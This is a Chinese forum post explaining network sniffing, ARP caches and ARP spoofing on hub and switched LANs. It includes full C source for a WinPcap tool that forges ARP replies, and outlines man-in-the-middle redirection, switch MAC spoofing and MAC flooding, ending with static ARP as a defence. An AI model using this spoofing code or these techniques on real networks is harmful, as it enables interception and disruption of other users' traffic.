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塞北|谷子熟了吗

塞北的原则

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交换网络中的嗅探和ARP欺骗

　　以太网内的嗅探(sniff)对于网络安全来说并不是什么好事，虽然对于网络管理员能够跟踪数据包并且发现网络问题，但是如果被破坏者利用的话，就对整个网络构成严重的安全威胁。至于嗅探的好处和坏处就不罗嗦了。

　　ARP缓存表假设这样一个网络:

　　——————————
　　| HUB |
　　——————————
　　HostA HostB HostC

　　其中:

　　A的地址为:IP:192.168.10.1 MAC: AA-AA-AA-AA-AA-AA
　　B的地址为:IP:192.168.10.2 MAC: BB-BB-BB-BB-BB-BB
　　C的地址为:IP:192.168.10.3 MAC: CC-CC-CC-CC-CC-CC

　　假设B是属于一个嗅探爱好者的，比如A机器的ARP缓存:

　　C:\>arp -a
　　Interface: 192.168.10.1 on Interface 0x1000003
　　Internet Address Physical Address Type
　　192.168.10.3 CC-CC-CC-CC-CC-CC dynamic

　　这是192.168.10.1机器上的ARP缓存表，假设，A进行一次ping 192.168.10.3操作，PING主机C，会查询本地的ARP缓存表，找到C的IP地址的MAC地址，那么就会进行数据传输，目的地就是C 的MAC地址。如果A中没有C的ARP记录，那么A首先要广播一次ARP请求，当C接收到A 的请求后就发送一个应答，应答中包含有C的MAC地址，然后A接收到C的应答，就会更新本地的ARP缓存。接着使用这个MAC地址发送数据(由网卡附加MAC地址)。因此，本地高速缓存的这个ARP表是本地网络流通的基础，而且这个缓存是动态的。

　　集线器网络(Hub-Based)

　　很多网络都是用Hub进行连接的。数据包经过Hub传输到其他计算机的时候，Hub只是简单地把这个数据包广播到Hub的所有端口上。这就是上面举例中的一种网络结构。

　　现在A需要发送TCP数据包给C。首先，A需要检查本地的ARP 缓存表，查看是否有IP为192.168.10.3即C的ARP记录，如果没有那么A将要广播一个ARP请求，当C接收到这个请求后，就作出应答，然后A更新自己的ARP缓存表。并获得与C的IP相对应的MAC地址。这时就传输这个TCP数据包，Ethernet帧中就包含了C的MAC地址。当数据包传输到HUB的时候，HUB直接把整个数据包广播到所有的端口，然后C就能够接收到A发送的数据包。

　　正因为HUB把数据广播到所有的端口，所以计算机B也能够收到A发送给C的数据包。这正是达到了B嗅探的目的。因此，Hub-Based的网络基本没有安全可言，嗅探在这样的网络中非常容易。

　　交换网络(Switched Lan)

　　交换机用来代替HUB，正是为了能够解决HUB的几个安全问题，其中就是能够来解决嗅探问题。Switch不是把数据包进行端口广播，它将通过自己的ARP缓存来决定数据包传输到那个端口上。因此，在交换网络上，如果把上面例子中的HUB换为Switch，B就不会接收到A发送给C的数据包，即便设置网卡为混杂模式，也不能进行嗅探。

　　ARP欺骗(ARP spoofing)

　　ARP协议并不只在发送了ARP请求才接收ARP应答。当计算机接收到ARP应答数据包的时候，就会对本地的ARP缓存进行更新，将应答中的IP和MAC地址存储在ARP缓存中。因此，在上面的假设网络中，B向A发送一个自己伪造的ARP应答，而这个应答中的数据为发送方IP地址是192.168.10.3(C的IP地址)，MAC地址是DD-DD-DD-DD-DD-DD(C的MAC地址本来应该是CC-CC-CC-CC-CC-CC，这里被伪造了)。当A接收到B伪造的ARP应答，就会更新本地的ARP缓存(A可不知道被伪造了)。现在A机器的ARP缓存更新了:

　　C:\>arp -a
　　Interface: 192.168.10.1 on Interface 0x1000003
　　Internet Address Physical Address Type
　　192.168.10.3 DD-DD-DD-DD-DD-DD dynamic

　　这可不是小事。局域网的网络流通可不是根据IP地址进行，而是按照MAC地址进行传输。现在192.168.10.3的MAC地址在A上被改变成一个本不存在的MAC地址。现在A开始Ping 192.168.10.3，网卡递交的MAC地址是DD-DD-DD-DD-DD-DD，结果是什么呢?网络不通，A根本不能Ping通C!!这就是一个简单的ARP欺骗。

　　我们来实现这样的ARP欺骗。这里需要使用一个WinPcap提供的API和驱动。(http://winpcap.polito.it/)，winpcap是一个伟大而且开放的项目。Windows环境下的nmap、snort、windump都是使用的winpcap。

　　// ARP Sender
　　#include "stdafx.h"
　　#include "Mac.h" //GetMacAddr()，我写的把字符串转换为MAC地址的函数，就不列在这里了
　　#include
　　#include
　　#define EPT_IP 0x0800 /* type: IP */
　　#define EPT_ARP 0x0806 /* type: ARP */
　　#define EPT_RARP 0x8035 /* type: RARP */
　　#define ARP_HARDWARE 0x0001 /* Dummy type for 802.3 frames */
　　#define ARP_REQUEST 0x0001 /* ARP request */
　　#define ARP_REPLY 0x0002 /* ARP reply */
　　#define Max_Num_Adapter 10
　　#pragma pack(push, 1)
　　typedef struct ehhdr
　　{
　　unsigned char eh_dst[6]; /* destination ethernet addrress */
　　unsigned char eh_src[6]; /* source ethernet addresss */
　　unsigned short eh_type; /* ethernet pachet type */
　　}EHHDR, *PEHHDR;
　　typedef struct arphdr
　　{
　　unsigned short arp_hrd; /* format of hardware address */
　　unsigned short arp_pro; /* format of protocol address */
　　unsigned char arp_hln; /* length of hardware address */
　　unsigned char arp_pln; /* length of protocol address */
　　unsigned short arp_op; /* ARP/RARP operation */
　　unsigned char arp_sha[6]; /* sender hardware address */
　　unsigned long arp_spa; /* sender protocol address */
　　unsigned char arp_tha[6]; /* target hardware address */
　　unsigned long arp_tpa; /* target protocol address */
　　}ARPHDR, *PARPHDR;
　　typedef struct arpPacket
　　{
　　EHHDR ehhdr;
　　ARPHDR arphdr;
　　} ARPPACKET, *PARPPACKET;
　　#pragma pack(pop)
　　int main(int argc, char* argv[])
　　{
　　static char AdapterList[Max_Num_Adapter][1024];
　　char szPacketBuf[600];
　　char MacAddr[6];
　　LPADAPTER lpAdapter;
　　LPPACKET lpPacket;
　　WCHAR AdapterName[2048];
　　WCHAR *temp,*temp1;
　　ARPPACKET ARPPacket;
　　ULONG AdapterLength = 1024;
　　int AdapterNum = 0;
　　int nRetCode, i;
//Get The list of Adapter
　　if(PacketGetAdapterNames((char*)AdapterName, &AdapterLength) == FALSE)
　　{
　　printf("Unable to retrieve the list of the adapters!\n");
　　return 0;
　　}
　　temp = AdapterName;
　　temp1=AdapterName;
　　i = 0;
　　while ((*temp != '\0')||(*(temp-1) != '\0'))
　　{
　　if (*temp == '\0')
　　{
　　memcpy(AdapterList,temp1,(temp-temp1)*2);
　　temp1=temp+1;
　　i++;
　　}
　　temp++;
　　}
　　AdapterNum = i;
　　for (i = 0; i < AdapterNum; i++)
　　wprintf(L"\n%d- %s\n", i+1, AdapterList);
　　printf("\n");
　　//Default open the 0
　　lpAdapter = (LPADAPTER) PacketOpenAdapter((LPTSTR) AdapterList[0]);
　　//取第一个网卡(假设啦)
　　if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE))
　　{
　　nRetCode = GetLastError();
　　printf("Unable to open the driver, Error Code : %lx\n", nRetCode);
　　return 0;
　　}
　　lpPacket = PacketAllocatePacket();
　　if(lpPacket == NULL)
　　{
　　printf("\nError:failed to allocate the LPPACKET structure.");
　　return 0;
　　}
　　ZeroMemory(szPacketBuf, sizeof(szPacketBuf));
　　if (!GetMacAddr("BBBBBBBBBBBB", MacAddr))
　　{
　　printf ("Get Mac address error!\n");
　　}
　　memcpy(ARPPacket.ehhdr.eh_dst, MacAddr, 6); //源MAC地址
　　if (!GetMacAddr("AAAAAAAAAAAA", MacAddr))
　　{
　　printf ("Get Mac address error!\n");
　　return 0;
　　}
　　memcpy(ARPPacket.ehhdr.eh_src, MacAddr, 6); //目的MAC地址。(A的地址)
　　ARPPacket.ehhdr.eh_type = htons(EPT_ARP);
　　ARPPacket.arphdr.arp_hrd = htons(ARP_HARDWARE);
　　ARPPacket.arphdr.arp_pro = htons(EPT_IP);
　　ARPPacket.arphdr.arp_hln = 6;
　　ARPPacket.arphdr.arp_pln = 4;
　　ARPPacket.arphdr.arp_op = htons(ARP_REPLY);
　　if (!GetMacAddr("DDDDDDDDDDDD", MacAddr))
　　{
　　printf ("Get Mac address error!\n");
　　return 0;
　　}
　　memcpy(ARPPacket.arphdr.arp_sha, MacAddr, 6); //伪造的C的MAC地址
　　ARPPacket.arphdr.arp_spa = inet_addr("192.168.10.3"); //C的IP地址
　　if (!GetMacAddr("AAAAAAAAAAAA", MacAddr))
　　{
　　printf ("Get Mac address error!\n");
　　return 0;
　　}
　　memcpy(ARPPacket.arphdr.arp_tha , MacAddr, 6); //目标A的MAC地址
　　ARPPacket.arphdr.arp_tpa = inet_addr("192.168.10.1"); //目标A的IP地址
　　memcpy(szPacketBuf, (char*)&ARPPacket, sizeof(ARPPacket));
　　PacketInitPacket(lpPacket, szPacketBuf, 60);
　　if(PacketSetNumWrites(lpAdapter, 2)==FALSE)
　　{
　　printf("warning: Unable to send more than one packet in a single write!\n");
　　}
　　if(PacketSendPacket(lpAdapter, lpPacket, TRUE)==FALSE)
　　{
　　printf("Error sending the packets!\n");
　　return 0;
　　}
　　printf ("Send ok!\n");
　// close the adapter and exit
　　PacketFreePacket(lpPacket);
　　PacketCloseAdapter(lpAdapter);
　　return 0;
　　}

　　于是A接收到一个被伪造的ARP应答。A被欺骗了!!倘若在局域网中看某某机器不顺眼，……以太网中的嗅探太有作用了，但是交换网络对嗅探进行了限制，让嗅探深入程度大打折扣。不过，很容易就能够发现，主机、Switch(动态更新地址表类型，下同)中的缓存表依然是(主要是)动态的。要在一个交换网络中进行有效的嗅探工作(地下党?)，需要采用对付各种缓存表的办法，连骗带哄，甚至乱踹，在上面的ARP欺骗基础中我们就能够做到。

　　对目标进行ARP欺骗

　　就象上面程序中实现的一样，对目标A进行欺骗，A去Ping主机C却发送到了DD-DD-DD-DD-DD-DD这个地址上。如果进行欺骗的时候，把C的MAC地址骗为BB-BB-BB-BB-BB-BB，于是A发送到C上的数据包都变成发送给B的了。这不正好是B能够接收到A发送的数据包了么，嗅探成功。

　　A对这个变化一点都没有意识到，但是接下来的事情就让A产生了怀疑。因为A和C连接不上了!!B对接收到A发送给C的数据包可没有转交给C。做“man in the middle”,进行ARP重定向。打开B的IP转发功能，A发送过来的数据包，转发给C，好比一个路由器一样。不过，假如B发送ICMP重定向的话就中断了整个计划。直接进行整个包的修改转发，捕获到A发送给的数据包，全部进行修改后再转发给C，而C接收到的数据包完全认为是从A发送来的。不过，C发送的数据包又直接传递给A，倘若再次进行对C的ARP欺骗。现在B就完全成为A与C的中间桥梁了。

　　对Switch的MAC欺骗

　　Switch上同样维护着一个动态的MAC缓存，它一般是这样，首先，交换机内部有一个对应的列表，交换机的端口对应MAC地址表Port n <-> Mac记录着每一个端口下面存在那些MAC地址，这个表开始是空的，交换机从来往数据帧中学习。举例来说，当Port 1口所接的计算机发出了一个数据帧，这帧数据从Port 1进入交换机，交换机就取这个数据帧的原MAC地址AAAA，然后在地址表中记录:Port 1 <-> AAAA, 以后，所有发向MAC地址为AAAA的数据帧，就全从Port 1口输出，而不会从其它的口输出。

　　跟前面对目标进行欺骗相类似。如果把Switch上的MAC-PORT表修改了，那么对应的MAC和PORT就一样跟着改变，本来不应该发送到嗅探器的数据结果发送过来了，这样也达到了嗅探的目的。修改本地(B)发送的数据包MAC地址为原来A的MAC地址，当经过交换机的时候，交换机发现端口B对应的地址是机器A的MAC地址，于是就将会把A的MAC地址同端口B相对应，从而把发送给A的数据从端口B传输了，本来这些应该是传送到端口A的。因此，从机器B就能够获得发送给A的数据。

　　但是，这里有一个问题，A将接收不到数据了。嗅探不目的并不是要去破坏正常的数据通讯。同时，从刚才的欺骗中，让交换机中一个MAC地址对应了多个端口，这种对于交换机处理还不清楚。还请多指教。

　　对Switch进行Flood

　　就象上面介绍Switch的MAC和Port对应关系形成的原理，因为MAC-PORT缓存表是动态更新的，那么让整个Switch的端口表都改变，对Switch进行MAC地址欺骗的Flood，不断发送大量假MAC地址的数据包，Switch就更新MAC-PORT缓存，如果能通过这样的办法把以前正常的MAC和Port对应的关系破坏了，那么Switch就会进行泛洪发送给每一个端口，让Switch基本变成一个HUB，向所有的端口发送数据包，要嗅探的目的一样能够达到。

　　存在的问题，Switch对这种极限情况的处理，因为属于不正常情况，可能会引起包丢失情况。而且现在对这种极限情况的Switch状态还很不了解。如果对网络通讯造成了大的破坏，这不属于正常的嗅探(嗅探也会引起一些丢失)。

　　对Switch进行各种手段的操作，需要小心，如果打开了端口保护，那么可能会让交换机关闭所有用户。因此，对交换机这样的设备进行欺骗或者其他操作，还不如对一些上级设备进行欺骗，比如目标主机或者路由器。

　　至于上面关于嗅探的手段都是基于这个动态表进行的。因此，使用静态的ARP就能够进行防范了。对于WIN，使用arp -s 来进行静态ARP的设置。

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如果不去尝试改变，你永远都是现在的你！
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Posted:2006-12-01 09:01 | [楼主]


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